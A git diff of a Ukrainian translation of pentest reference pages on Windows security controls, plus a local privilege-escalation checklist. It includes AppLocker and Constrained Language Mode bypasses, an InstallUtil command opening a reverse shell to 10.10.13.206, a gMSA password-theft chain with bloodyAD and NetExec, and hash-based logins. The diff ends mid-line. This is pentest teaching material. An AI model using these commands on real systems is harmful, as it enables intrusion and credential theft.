директорій, **але все це можна обійти**. -### Перевірка +### Check -Перевірте, які файли/розширення занесені в чорний/білий список: +Перевірте, які файли/розширення заблоковані або дозволені: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Цей шлях реєстру містить конфігурації та політики, застосовані за допомогою AppLocker, і дає змогу переглянути поточний набір правил, що застосовуються в системі: +Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, і дозволяє переглянути поточний набір правил, що діють у системі: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` -### Обхід +### Bypass -- Корисні **папки з правом запису** для обходу AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, існують **папки з правом запису**, які ви можете використати, щоб **обійти це**. +- Корисні **Writable folders** для bypass AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, існують **writable folders**, які ви можете використати, щоб **bypass this**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Зазвичай **довірені** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисні для обходу AppLocker. -- **Погано написані правила також можуть бути обійдені** -- Наприклад, **``**, можна створити **папку з назвою `allowed`** будь-де, і вона буде дозволена. -- Організації часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`. -- **Примусове застосування DLL дуже рідко увімкнене** через додаткове навантаження на систему та обсяг тестування, необхідного, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**. -- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконувати код Powershell** в будь-якому процесі та обійти AppLocker. Для більше інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- Зазвичай **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисні для обходу AppLocker. +- **Неправильно написані правила також можуть бути обійдені** +- Наприклад, **``**, ви можете створити **папку з назвою `allowed`** будь-де і вона буде дозволена. +- Організації часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`. +- **DLL enforcement very rarely enabled** через додаткове навантаження на систему та обсяг тестувань, необхідних щоб упевнитися, що нічого не зламається. Тому використання **DLLs як backdoors допоможе обійти AppLocker**. +- Ви можете використати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** код в будь-якому процесі і обійти AppLocker. Для детальнішої інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Зберігання облікових даних +## Credentials Storage -### Менеджер облікових записів безпеки (SAM) +### Security Accounts Manager (SAM) -Локальні облікові дані присутні в цьому файлі, паролі хешовані. +Локальні облікові дані присутні в цьому файлі, паролі збережені у хешованому вигляді. -### Локальний орган безпеки (LSA) - LSASS +### Local Security Authority (LSA) - LSASS -**Облікові дані** (хеші) **зберігаються** в **пам'яті** цієї підсистеми з міркувань Single Sign-On.\ -**LSA** адмініструє локальну **політику безпеки** (політика паролів, права користувачів...), **аутентифікацію**, **токени доступу**...\ -LSA буде тим, хто буде **перевіряти** надані облікові дані в файлі **SAM** (для локального входу) та **спілкуватиметься** з **контролером домену**, щоб автентифікувати доменного користувача. +The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\ +**LSA** адмініструє локальну **політику безпеки** (password policy, users permissions...), **authentication**, **access tokens**...\ +LSA буде тим, хто **перевірятиме** надані облікові дані всередині файлу **SAM** (для локального входу) та **спілкуватиметься** з **domain controller** для аутентифікації доменного користувача. -**Облікові дані** **зберігаються** всередині процесу **LSASS**: Kerberos tickets, хеші NT і LM, легко розшифровувані паролі. +The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords. -### Секрети LSA +### LSA secrets LSA може зберігати на диску деякі облікові дані: -- Пароль облікового запису комп'ютера в Active Directory (коли контролер домену недоступний). +- Пароль облікового запису комп'ютера Active Directory (коли контролер домену недоступний). - Паролі облікових записів служб Windows -- Паролі для планових завдань -- Інше (пароль застосунків IIS...) +- Паролі для запланованих завдань +- Інше (пароль додатків IIS...) ### NTDS.dit -Це база даних Active Directory. Присутня лише на контролерах домену. +Це база даних Active Directory. Вона присутня лише на Domain Controllers. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) — антивірус, який доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** поширені pentesting інструменти, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) — антивірус, який доступний у Windows 10 та Windows 11, а також у версіях Windows Server. Він **блокує** поширені pentesting інструменти, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**. -### Перевірка +### Check -Щоб перевірити **стан** **Defender**, можна виконати PS cmdlet **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи він активний): +Щоб перевірити **стан** **Defender**, ви можете виконати PS cmdlet **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи активовано):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-Для переліку також можна виконати: +Для його перерахування також можна виконати: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,36 +103,36 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS захищає файли за допомогою шифрування, використовуючи **симетричний ключ**, відомий як **File Encryption Key (FEK)**. Цей ключ шифрується за допомогою **публічного ключа** користувача і зберігається в $EFS **альтернативному потоці даних** зашифрованого файлу. Коли потрібне розшифрування, відповідний **приватний ключ** цифрового сертифіката користувача використовується для розшифрування FEK з $EFS потоку. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS захищає файли за допомогою шифрування, використовуючи симетричний ключ, відомий як File Encryption Key (FEK). Цей ключ зашифровано відкритим ключем користувача і зберігається в альтернативному потоці даних $EFS зашифрованого файлу. Коли потрібне розшифрування, відповідний приватний ключ цифрового сертифіката користувача використовується для розшифрування FEK з потоку $EFS. Детальніше можна прочитати [тут](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Decryption scenarios without user initiation** include: +**Сценарії розшифрування без ініціації користувача** включають: -- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються. +- Коли файли або папки переміщуються на файлову систему, яка не підтримує EFS, наприклад [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються. - Зашифровані файли, відправлені мережею через протокол SMB/CIFS, розшифровуються перед передачею. -Цей метод шифрування дозволяє власнику мати **прозорий доступ** до зашифрованих файлів. Однак просте змінення пароля власника й вхід у систему не забезпечать розшифрування. +Цей метод шифрування дозволяє власнику мати **прозорий доступ** до зашифрованих файлів. Проте проста зміна пароля власника та вхід в обліковий запис не дозволять автоматично розшифрувати файли. -**Key Takeaways**: +**Ключові моменти**: -- EFS використовує симетричний FEK, зашифрований публічним ключем користувача. -- Для розшифрування використовується приватний ключ користувача для доступу до FEK. -- Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або при передачі по мережі. -- Зашифровані файли доступні власнику без додаткових кроків. +- EFS використовує симетричний FEK, зашифрований відкритим ключем користувача. +- Розшифрування використовує приватний ключ користувача для доступу до FEK. +- Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або під час мережевої передачі. +- Зашифровані файли доступні власнику без додаткових дій. ### Check EFS info -Перевірте, чи **користувач** **використовував** цю **службу**, перевіривши наявність цього шляху:`C:\users\\appdata\roaming\Microsoft\Protect` +Перевірте, чи користувач використовував цю службу, перевіривши наявність шляху:`C:\users\\appdata\roaming\Microsoft\Protect` -Перевірте, **хто** має **доступ** до файлу, використовуючи cipher /c \ -Ви також можете використовувати `cipher /e` та `cipher /d` у папці, щоб **зашифрувати** та **розшифрувати** всі файли +Перевірте, хто має доступ до файлу, використавши cipher /c \ +Ви також можете використовувати `cipher /e` та `cipher /d` всередині папки, щоб **зашифрувати** та **розшифрувати** всі файли ### Decrypting EFS files -#### Маючи права SYSTEM +#### Отримання прав SYSTEM -Цей спосіб вимагає, щоб **жертва-користувач** запускав **процес** на хості. Якщо це так, використовуючи `meterpreter` сесію ви можете імітувати токен процесу користувача (`impersonate_token` з `incognito`). Або ви можете просто `migrate` у процес користувача. +Цей спосіб вимагає, щоб користувач-жертва виконував процес на хості. У цьому випадку, використовуючи meterpreter session, ви можете імітувати токен процесу користувача (impersonate_token з incognito). Або ви можете просто migrate до процесу користувача. -#### Знаючи пароль користувача +#### Knowing the users password {{#ref}} @@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ## Group Managed Service Accounts (gMSA) -Microsoft розробила **Group Managed Service Accounts (gMSA)**, щоб спростити управління сервісними обліковими записами в ІТ-інфраструктурах. На відміну від традиційних сервісних облікових записів, які часто мають увімкнену опцію "**Password never expire**", gMSA пропонують більш безпечне й кероване рішення: +Microsoft розробила Group Managed Service Accounts (gMSA) для спрощення керування сервісними обліковими записами в IT-інфраструктурах. На відміну від традиційних сервісних облікових записів, у яких часто ввімкнено налаштування "**Password never expire**", gMSA пропонують більш безпечне та кероване рішення: -- **Automatic Password Management**: gMSA використовують складний пароль довжиною 240 символів, який автоматично змінюється відповідно до політик домену чи комп'ютера. Цей процес керується Key Distribution Service (KDC) від Microsoft, усуваючи потребу в ручних оновленнях пароля. -- **Enhanced Security**: Ці облікові записи не схильні до блокувань і не можуть використовуватися для інтерактивного входу, що підвищує їх безпеку. -- **Multiple Host Support**: gMSA можуть використовуватися на кількох хостах, що робить їх ідеальними для сервісів, що працюють на кількох серверах. -- **Scheduled Task Capability**: На відміну від managed service accounts, gMSA підтримують виконання планових завдань. -- **Simplified SPN Management**: Система автоматично оновлює Service Principal Name (SPN) при зміні деталей sAMaccount комп'ютера або імені DNS, спрощуючи керування SPN. +- **Automatic Password Management**: gMSA використовують складний 240-символьний пароль, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється службою розповсюдження ключів (KDC) Microsoft, що усуває потребу у ручному оновленні паролів. +- **Enhanced Security**: ці облікові записи не піддаються блокуванням і не можуть використовуватися для інтерактивного входу, що підвищує їхню безпеку. +- **Multiple Host Support**: gMSA можна використовувати на кількох хостах одночасно, що робить їх ідеальними для сервісів, що працюють на кількох серверах. +- **Scheduled Task Capability**: на відміну від Managed Service Accounts, gMSA підтримують запуск запланованих завдань. +- **Simplified SPN Management**: система автоматично оновлює Service Principal Name (SPN) при змінах у sAMAccount даних комп’ютера або імені DNS, спрощуючи керування SPN. -Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (Domain Controllers, DCs). Цей пароль — зашифрований бінарний блок даних, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання має бути автентифіковане з 'Sealing & Secure'. +Паролі для gMSA зберігаються у властивості LDAP _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований бінарний обʼєкт відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлено gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з’єднання, наприклад LDAPS, або з’єднання має бути аутентифіковане з параметрами 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -159,46 +159,46 @@ Microsoft розробила **Group Managed Service Accounts (gMSA)**, щоб ``` [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Також перегляньте цю [web page](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack**, щоб **прочитати** **пароль** **gMSA**. +Також перегляньте цю [web page](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack** щоб **зчитати** **пароль** **gMSA**. -### Зловживання ланцюгуванням ACL для читання керованого пароля gMSA (GenericAll -> ReadGMSAPassword) +### Зловживання ланцюгом ACL для зчитування керованого пароля gMSA (GenericAll -> ReadGMSAPassword) -У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи неправильно налаштованими ACL об'єктів: +У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи некоректно налаштованими ACL об'єктів: -- Групі, яку ви контролюєте (наприклад, через GenericAll/GenericWrite), надано `ReadGMSAPassword` над gMSA. -- Додавши себе до цієї групи, ви успадковуєте право читати `msDS-ManagedPassword` blob gMSA через LDAP та отримувати придатні NTLM облікові дані. +- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA. +- Додавши себе до цієї групи, ви успадковуєте право зчитувати `msDS-ManagedPassword` blob gMSA через LDAP і отримувати придатні NTLM облікові дані. Типовий робочий процес: -1) Знайдіть шлях за допомогою BloodHound і позначте свої foothold principals як Owned. Шукайте зв'язки на кшталт: +1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA -2) Додайте себе до проміжної групи, яку ви контролюєте (приклад з bloodyAD): +2) Add yourself to the intermediate group you control (example with bloodyAD): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) Прочитати керований пароль gMSA через LDAP і отримати NTLM-хеш. NetExec автоматизує витяг `msDS-ManagedPassword` та перетворення в NTLM: +3) Прочитайте керований пароль gMSA через LDAP і отримайте NTLM-хеш. NetExec автоматизує витяг `msDS-ManagedPassword` та перетворення в NTLM: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -Аутентифікуйтеся як gMSA, використовуючи NTLM hash (plaintext не потрібен). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо: +Аутентифікуйтеся як gMSA, використовуючи NTLM hash (no plaintext needed). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` Примітки: -- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. -- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement. -- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure. +- Читання LDAP атрибуту `msDS-ManagedPassword` вимагає sealing (наприклад, LDAPS/sign+seal). Інструменти обробляють це автоматично. +- gMSAs часто мають надані локальні права, такі як WinRM; перевірте членство в групах (наприклад, Remote Management Users), щоб планувати lateral movement. +- Якщо вам потрібен лише blob для обчислення NTLM самостійно, див. структуру MSDS-MANAGEDPASSWORD_BLOB. ## LAPS -Рішення **Local Administrator Password Solution (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі, які є **випадково згенерованими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежується ACLs для авторизованих користувачів. Якщо надані достатні дозволи, можливе читання локальних паролів адміністратора. +The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі — **рандомізовані**, унікальні й **регулярно змінювані** — зберігаються централізовано в Active Directory. Доступ до цих паролів обмежено через ACLs лише для авторизованих користувачів. При наданні достатніх прав можна читати локальні паролі адміністратора. {{#ref}} @@ -207,9 +207,9 @@ netexec winrm -u 'mgtsvc$' -H ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **жорстко обмежує багато функцій**, потрібних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише схвалених .NET types, XAML-based workflows, PowerShell classes та інше. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **блокує багато можливостей**, необхідних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише затверджених .NET types, XAML-based workflows, PowerShell classes та інше. -### **Перевірте** +### **Перевірити** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage @@ -219,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -У сучасних Windows цей Bypass не працює, але ви можете використовувати[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Щоб скомпілювати його, можливо, потрібно** **щоб** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**. +У сучасних Windows цей Bypass не працює, але ви можете використати[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Щоб скомпілювати його, можливо, потрібно** **виконати** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**. -#### Direct bypass: +#### Прямий bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` @@ -230,7 +230,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** code у будь-якому процесі та обійти constrained mode. Для детальнішої інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** code в будь-якому процесі та обійти constrained mode. Для детальнішої інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## Політика виконання PS @@ -254,32 +254,33 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Детальніше можна знайти [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Інтерфейс Security Support Provider (SSPI) -Це API, який використовується для автентифікації користувачів. +Є API, який може використовуватися для автентифікації користувачів. -SSPI відповідає за підбір відповідного протоколу для двох машин, які хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджує, який протокол автентифікації буде використано — ці протоколи автентифікації називаються Security Support Provider (SSP), знаходяться на кожній машині Windows у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу спілкуватися. +SSPI відповідатиме за вибір відповідного протоколу для двох машин, що хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджуватиме, який протокол автентифікації буде використано; ці протоколи називаються Security Support Provider (SSP), розміщені в кожній Windows-машині у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу обмінюватися даними. ### Основні SSP -- **Kerberos**: The preferred one +- **Kerberos**: Переважний - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** and **NTLMv2**: Compatibility reasons +- **NTLMv1** and **NTLMv2**: З міркувань сумісності - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Web servers and LDAP, password in form of a MD5 hash +- **Digest**: Веб‑сервери та LDAP, пароль у вигляді MD5-хеша - %windir%\Windows\System32\Wdigest.dll -- **Schannel**: SSL and TLS +- **Schannel**: SSL та TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one) +- **Negotiate**: Використовується для узгодження протоколу (Kerberos або NTLM, за замовчуванням — Kerberos) - %windir%\Windows\System32\lsasrv.dll -#### Під час узгодження може бути запропоновано кілька методів або лише один. +#### Узгодження може запропонувати кілька методів або лише один. -## UAC - Контроль облікових записів користувача +## UAC - User Account Control + +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — це функція, яка вмикає **запит на дозвіл для підвищених дій**. -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — функція, яка відображає запит на підтвердження для дій з підвищеними правами. {{#ref}} uac-user-account-control.md diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 3ae8412fe..45532aa38 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,8 +1,8 @@ -# Контрольний список - Local Windows Privilege Escalation +# Перевірочний список - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Найкращий інструмент для пошуку векторів Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [System Info](windows-local-privilege-escalation/index.html#system-info) @@ -20,7 +20,7 @@ ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Перевірити [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)та [**WEF** ](windows-local-privilege-escalation/index.html#wef)налаштування +- [ ] Перевірити налаштування [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)та [**WEF** ](windows-local-privilege-escalation/index.html#wef) - [ ] Перевірити [**LAPS**](windows-local-privilege-escalation/index.html#laps) - [ ] Перевірити, чи активний [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? @@ -32,7 +32,7 @@ - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) - [ ] Перевірити [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) - [ ] Чи є ви [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Перевірити, чи увімкнено будь-який із цих токенів: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] Перевірити, чи маєте будь-який із цих токенів: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? - [ ] Перевірити[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (доступ?) - [ ] Перевірити [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) @@ -41,43 +41,43 @@ ### [Network](windows-local-privilege-escalation/index.html#network) - [ ] Перевірити **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) -- [ ] Перевірити **hidden local services**, обмежені зовні +- [ ] Перевірити **hidden local services**, які обмежені зовні ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Бінарні файли процесів [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] Права на файли та папки процесів — [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) - [ ] Вкрасти облікові дані з **interesting processes** за допомогою `ProcDump.exe` ? (firefox, chrome, etc ...) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] Чи можете ви **modify any service**?(windows-local-privilege-escalation/index.html#permissions) -- [ ] Чи можете ви **modify** the **binary** that is **executed** by any **service**?(windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] Чи можете ви **modify** the **registry** of any **service**?(windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] Чи можна скористатися будь-яким **unquoted service** binary **path**?(windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] Чи можете ви **modify any service**? (змінити будь-яку службу) (permissions)? +- [ ] Чи можете ви **modify** бінарний файл, який **executed** будь-якою **service**? (modify-service-binary-path) +- [ ] Чи можете ви **modify** реєстр будь-якої **service**? (services-registry-modify-permissions) +- [ ] Чи можна використати будь-який **unquoted service** binary **path**? ### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] **Write** права на встановлені застосунки — [**Write permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) - [ ] Чи можете ви **write in any folder inside PATH**? -- [ ] Чи є відомий service binary, який **tries to load any non-existant DLL**? +- [ ] Чи є відома служба, бінарник якої **tries to load any non-existant DLL**? - [ ] Чи можете ви **write** в будь-яку **binaries folder**? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Перелічити мережу (shares, interfaces, routes, neighbours, ...) -- [ ] Особливу увагу приділити мережевим сервісам, що слухають на localhost (127.0.0.1) +- [ ] Просканувати мережу (shares, interfaces, routes, neighbours, ...) +- [ ] Особливу увагу приділити мережевим сервісам, які слухають на localhost (127.0.0.1) ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) - [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials -- [ ] Чи є [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials, які можна використати? +- [ ] Чи є облікові дані в [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault), які можна використати? - [ ] Цікаві [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? - [ ] Паролі збережених [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? - [ ] Цікава інформація в [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? @@ -91,7 +91,7 @@ - [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) - [ ] [**SSH keys in 